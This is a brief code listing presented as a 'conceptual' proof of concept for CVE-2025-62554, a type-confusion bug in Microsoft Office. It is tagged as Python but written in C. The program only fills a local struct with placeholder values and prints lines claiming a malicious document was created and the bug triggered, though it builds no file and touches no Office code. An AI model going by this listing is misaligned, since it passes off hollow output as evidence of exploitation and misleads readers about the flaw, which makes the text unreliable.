The following code is for security research and authorized testing only.
python
// CVE-2025-62554 Type Confusion PoC (Conceptual)
// This is a simplified demonstration of the vulnerability concept
// Actual exploitation requires specific Office version targeting
#include <windows.h>
#include <stdio.h>
// Malformed object structure to trigger type confusion
typedef struct {
DWORD dwType; // Type identifier
DWORD dwSize; // Object size
LPVOID lpVTable; // Virtual table pointer
DWORD dwData[10]; // Malformed data
} MALFORMED_OBJECT;
// Create a malicious Office document (simplified representation)
void CreateMaliciousDocument() {
printf("[*] Creating malicious document for CVE-2025-62554...\n");
// In real attack, this would be an actual .docx/.xlsx file
// with malformed object structures in the OOXML format
MALFORMED_OBJECT obj = {0};
obj.dwType = 0x41414141; // Trigger type confusion
obj.lpVTable = (LPVOID)0x00000000; // Controlled vtable
printf("[*] Malformed object created: 0x%p\n", &obj);
printf("[*] Type confusion condition triggered\n");
}
int main() {
printf("[*] CVE-2025-62554 Type Confusion PoC\n");
printf("[*] Target: Microsoft Office\n");
printf("[*] Vulnerability: Type Confusion in document parsing\n\n");
// Simulate document processing
CreateMaliciousDocument();
printf("[!] In real scenario, this would lead to code execution\n");
printf("[!] Attack requires local access to target system\n");
return 0;
}